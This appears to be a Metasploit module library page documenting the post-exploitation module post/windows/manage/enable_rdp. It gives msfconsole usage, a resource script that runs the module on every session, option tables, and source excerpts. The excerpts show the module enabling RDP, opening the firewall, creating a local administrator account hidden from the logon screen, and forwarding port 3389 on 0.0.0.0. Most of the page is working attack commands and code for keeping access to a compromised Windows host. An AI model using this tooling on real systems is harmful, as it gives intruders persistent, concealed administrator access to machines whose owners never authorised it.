Windows Manage Enable Remote Desktop - Metasploit
This page contains detailed information about how to use the post/windows/manage/enable_rdp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Windows Manage Enable Remote Desktop
Module: post/windows/manage/enable_rdp
Source code: modules/post/windows/manage/enable_rdp.rb
Disclosure date: -
Last modification time: 2020-03-20 14:12:01 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module enables the Remote Desktop Service (RDP). It provides the options to create an account and configure it to be a member of the Local Administrators and Remote Desktop Users group. It can also forward the target's port 3389/tcp.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/windows/manage/enable_rdp
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/windows/manage/enable_rdp
msf post(enable_rdp) > show options
... show and set options ...
msf post(enable_rdp) > set SESSION session-id
msf post(enable_rdp) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/windows/manage/enable_rdp")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the windows/manage/enable_rdp post exploitation module looks in the msfconsole:
msf6 > use post/windows/manage/enable_rdp
msf6 post(windows/manage/enable_rdp) > show info
Name: Windows Manage Enable Remote Desktop
Module: post/windows/manage/enable_rdp
Platform: Windows
Arch:
Rank: Normal
Provided by:
Carlos Perez <[email protected]>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ENABLE true no Enable the RDP Service and Firewall Exception.
FORWARD false no Forward remote port 3389 to local Port.
LPORT 3389 no Local port to forward remote connection.
PASSWORD no Password for the user created.
SESSION yes The session to run this module on.
USERNAME no The username of the user to create.
Description:
This module enables the Remote Desktop Service (RDP). It provides
the options to create an account and configure it to be a member of
the Local Administrators and Remote Desktop Users group. It can also
forward the target's port 3389/tcp.
Module Options
This is a complete list of options available in the windows/manage/enable_rdp post exploitation module:
msf6 post(windows/manage/enable_rdp) > show options
Module options (post/windows/manage/enable_rdp):
Name Current Setting Required Description
---- --------------- -------- -----------
ENABLE true no Enable the RDP Service and Firewall Exception.
FORWARD false no Forward remote port 3389 to local Port.
LPORT 3389 no Local port to forward remote connection.
PASSWORD no Password for the user created.
SESSION yes The session to run this module on.
USERNAME no The username of the user to create.
Advanced Options
Here is a complete list of advanced options supported by the windows/manage/enable_rdp post exploitation module:
msf6 post(windows/manage/enable_rdp) > show advanced
Module advanced options (post/windows/manage/enable_rdp):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the windows/manage/enable_rdp module can do:
msf6 post(windows/manage/enable_rdp) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the windows/manage/enable_rdp post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(windows/manage/enable_rdp) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Insufficient privileges, Remote Desktop Service was not modified
- Insufficient privileges, account was not be created.
- The following Error was encountered: <E.CLASS> <E>
- The Terminal Services service is not set to auto, changing it to auto ...
- START_TYPE_AUTO
- Unable to change start type to Auto
- The following Error was encountered: <E.CLASS> <E>
- The user <USERNAME> already exists
- The Remote Desktop Users group is not mapped
- The Administrators group is not mapped
- Not adding user <USERNAME>
- Account could not be created
- Error
- The following Error was encountered: <E.CLASS> <E>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Insufficient privileges, Remote Desktop Service was not modified
Here is a relevant code snippet related to the "Insufficient privileges, Remote Desktop Service was not modified" error message:
51: if datastore['ENABLE']
52: if is_admin?
53: enablerd(cleanup_rc)
54: enabletssrv(cleanup_rc)
55: else
56: print_error("Insufficient privileges, Remote Desktop Service was not modified")
57: end
58: end
59: if datastore['USERNAME'] && datastore['PASSWORD']
60: if is_admin?
61: addrdpusr(datastore['USERNAME'], datastore['PASSWORD'], cleanup_rc)
Insufficient privileges, account was not be created.
Here is a relevant code snippet related to the "Insufficient privileges, account was not be created." error message:
58: end
59: if datastore['USERNAME'] && datastore['PASSWORD']
60: if is_admin?
61: addrdpusr(datastore['USERNAME'], datastore['PASSWORD'], cleanup_rc)
62: else
63: print_error("Insufficient privileges, account was not be created.")
64: end
65: end
66: if datastore['FORWARD']
67: print_status("Starting the port forwarding at local port #{datastore['LPORT']}")
68: client.run_cmd("portfwd add -L 0.0.0.0 -l #{datastore['LPORT']} -p 3389 -r 127.0.0.1")
The following Error was encountered: <E.CLASS> <E>
Here is a relevant code snippet related to the "The following Error was encountered: <E.CLASS> <E>" error message:
83: file_local_write(cleanup_rc, "reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
84: else
85: print_status "\tRDP is already enabled"
86: end
87: rescue StandardError => e
88: print_status("The following Error was encountered: #{e.class} #{e}")
89: end
90: end
91:
92: def enabletssrv(cleanup_rc)
93: service_name = "termservice"
The Terminal Services service is not set to auto, changing it to auto ...
Here is a relevant code snippet related to the "The Terminal Services service is not set to auto, changing it to auto ..." error message:
93: service_name = "termservice"
94: srv_info = service_info(service_name)
95: begin
96: print_status "Setting Terminal Services service startup mode"
97: if srv_info[:starttype] != START_TYPE_AUTO
98: print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
99: unless service_change_config(service_name, starttype: "START_TYPE_AUTO") == Windows::Error::SUCCESS
100: print_error("\tUnable to change start type to Auto")
101: end
102: file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
103: if service_start(service_name) == Windows::Error::SUCCESS
START_TYPE_AUTO
Here is a relevant code snippet related to the "START_TYPE_AUTO" error message:
94: srv_info = service_info(service_name)
95: begin
96: print_status "Setting Terminal Services service startup mode"
97: if srv_info[:starttype] != START_TYPE_AUTO
98: print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
99: unless service_change_config(service_name, starttype: "START_TYPE_AUTO") == Windows::Error::SUCCESS
100: print_error("\tUnable to change start type to Auto")
101: end
102: file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
103: if service_start(service_name) == Windows::Error::SUCCESS
104: print_good("\tRDP Service Started")
Unable to change start type to Auto
Here is a relevant code snippet related to the "Unable to change start type to Auto" error message:
95: begin
96: print_status "Setting Terminal Services service startup mode"
97: if srv_info[:starttype] != START_TYPE_AUTO
98: print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
99: unless service_change_config(service_name, starttype: "START_TYPE_AUTO") == Windows::Error::SUCCESS
100: print_error("\tUnable to change start type to Auto")
101: end
102: file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
103: if service_start(service_name) == Windows::Error::SUCCESS
104: print_good("\tRDP Service Started")
105: end
The following Error was encountered: <E.CLASS> <E>
Here is a relevant code snippet related to the "The following Error was encountered: <E.CLASS> <E>" error message:
110: # Enabling Exception on the Firewall
111: print_status "\tOpening port in local firewall if necessary"
112: cmd_exec('netsh', 'firewall set service type = remotedesktop mode = enable', 30)
113: file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
114: rescue StandardError => e
115: print_status("The following Error was encountered: #{e.class} #{e}")
116: end
117: end
118:
119: def addrdpusr(username, password, cleanup_rc)
120: print_status "Setting user account for logon"
The user <USERNAME> already exists
Here is a relevant code snippet related to the "The user <USERNAME> already exists" error message:
119: def addrdpusr(username, password, cleanup_rc)
120: print_status "Setting user account for logon"
121: print_status "\tAdding User: #{username} with Password: #{password}"
122: begin
123: if check_user(username)
124: print_error("\tThe user #{username} already exists")
125: return
126: end
127:
128: rdu_sid = resolve_sid("S-1-5-32-555")
129: admin_sid = resolve_sid("S-1-5-32-544")
The Remote Desktop Users group is not mapped
Here is a relevant code snippet related to the "The Remote Desktop Users group is not mapped" error message:
127:
128: rdu_sid = resolve_sid("S-1-5-32-555")
129: admin_sid = resolve_sid("S-1-5-32-544")
130:
131: if !rdu_sid[:mapped] || !admin_sid[:mapped]
132: print_error("\tThe Remote Desktop Users group is not mapped") if !rdu_sid[:mapped]
133: print_error("\tThe Administrators group is not mapped") if !admin_sid[:mapped]
134: print_error("\tNot adding user #{username}")
135: return
136: end
137:
The Administrators group is not mapped
Here is a relevant code snippet related to the "The Administrators group is not mapped" error message:
128: rdu_sid = resolve_sid("S-1-5-32-555")
129: admin_sid = resolve_sid("S-1-5-32-544")
130:
131: if !rdu_sid[:mapped] || !admin_sid[:mapped]
132: print_error("\tThe Remote Desktop Users group is not mapped") if !rdu_sid[:mapped]
133: print_error("\tThe Administrators group is not mapped") if !admin_sid[:mapped]
134: print_error("\tNot adding user #{username}")
135: return
136: end
137:
138: rdu = rdu_sid[:name]
Not adding user <USERNAME>
Here is a relevant code snippet related to the "Not adding user <USERNAME>" error message:
129: admin_sid = resolve_sid("S-1-5-32-544")
130:
131: if !rdu_sid[:mapped] || !admin_sid[:mapped]
132: print_error("\tThe Remote Desktop Users group is not mapped") if !rdu_sid[:mapped]
133: print_error("\tThe Administrators group is not mapped") if !admin_sid[:mapped]
134: print_error("\tNot adding user #{username}")
135: return
136: end
137:
138: rdu = rdu_sid[:name]
139: admin = admin_sid[:name]
Account could not be created
Here is a relevant code snippet related to the "Account could not be created" error message:
157: file_local_write(cleanup_rc, "reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
158: print_status "\tAdding User: #{username} to local group '#{admin}'"
159: add_members_localgroup(admin, username)
160: print_status "You can now login with the created user"
161: else
162: print_error("Account could not be created")
163: print_error("Error:")
164: addusr_out.each_line do |l|
165: print_error("\t#{l.chomp}")
166: end
167: end
Error
Here is a relevant code snippet related to the "Error" error message:
158: print_status "\tAdding User: #{username} to local group '#{admin}'"
159: add_members_localgroup(admin, username)
160: print_status "You can now login with the created user"
161: else
162: print_error("Account could not be created")
163: print_error("Error:")
164: addusr_out.each_line do |l|
165: print_error("\t#{l.chomp}")
166: end
167: end
168: rescue StandardError => e
The following Error was encountered: <E.CLASS> <E>
Here is a relevant code snippet related to the "The following Error was encountered: <E.CLASS> <E>" error message:
164: addusr_out.each_line do |l|
165: print_error("\t#{l.chomp}")
166: end
167: end
168: rescue StandardError => e
169: print_status("The following Error was encountered: #{e.class} #{e}")
170: end
171: end
172:
173: def check_user(user)
174: enum_user.include?(user)
Go back to menu.
Related Pull Requests
- #12988 Merged Pull Request: Add user with window api
- #8873 Merged Pull Request: Update error handling in resolve_sid, fixup enable_rdp module
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6426 Merged Pull Request: Update enable_rdp.rb
- #4386 Merged Pull Request: Fix #3852, make enable_rdp work with other languages
- #2525 Merged Pull Request: Change module boilerplate
- #2304 Merged Pull Request: Fix load order in posts, hopefully forever
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #1026 Merged Pull Request: Cleanup Post::Windows::Services
- #958 Merged Pull Request: Msftidy 2
- #444 Merged Pull Request: Fixes for OSX and Remote Desktop Post Modules
- #42 Merged Pull Request: Fix for issue #6012; post/windows/manage/enable_rdp broken
Go back to menu.
See Also
Check also the following modules related to this module:
- post/windows/manage/add_user
- post/windows/manage/archmigrate
- post/windows/manage/change_password
- post/windows/manage/clone_proxy_settings
- post/windows/manage/delete_user
- post/windows/manage/dell_memory_protect
- post/windows/manage/download_exec
- post/windows/manage/driver_loader
- post/windows/manage/enable_support_account
- post/windows/manage/exec_powershell
- post/windows/manage/execute_dotnet_assembly
- post/windows/manage/forward_pageant
- post/windows/manage/hashcarve
- post/windows/manage/ie_proxypac
- post/windows/manage/inject_ca
- post/windows/manage/inject_host
- post/windows/manage/install_python
- post/windows/manage/install_ssh
- post/windows/manage/killav
- post/windows/manage/migrate
- post/windows/manage/mssql_local_auth_bypass
- post/windows/manage/multi_meterpreter_inject
- post/windows/manage/nbd_server
- post/windows/manage/peinjector
- post/windows/manage/persistence_exe
- post/windows/manage/portproxy
- post/windows/manage/pptp_tunnel
- post/windows/manage/priv_migrate
- post/windows/manage/pxeexploit
- post/windows/manage/reflective_dll_inject
- post/windows/manage/remove_ca
- post/windows/manage/remove_host
- post/windows/manage/rid_hijack
- post/windows/manage/rollback_defender_signatures
- post/windows/manage/rpcapd_start
- post/windows/manage/run_as
- post/windows/manage/run_as_psh
- post/windows/manage/sdel
- post/windows/manage/shellcode_inject
- post/windows/manage/sshkey_persistence
- post/windows/manage/sticky_keys
- post/windows/manage/vmdk_mount
- post/windows/manage/vss
- post/windows/manage/vss_create
- post/windows/manage/vss_list
- post/windows/manage/vss_mount
- post/windows/manage/vss_set_storage
- post/windows/manage/vss_storage
- post/windows/manage/wdigest_caching
- post/windows/manage/webcam
Authors
- Carlos Perez <carlos_perez[at]darkoperator.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.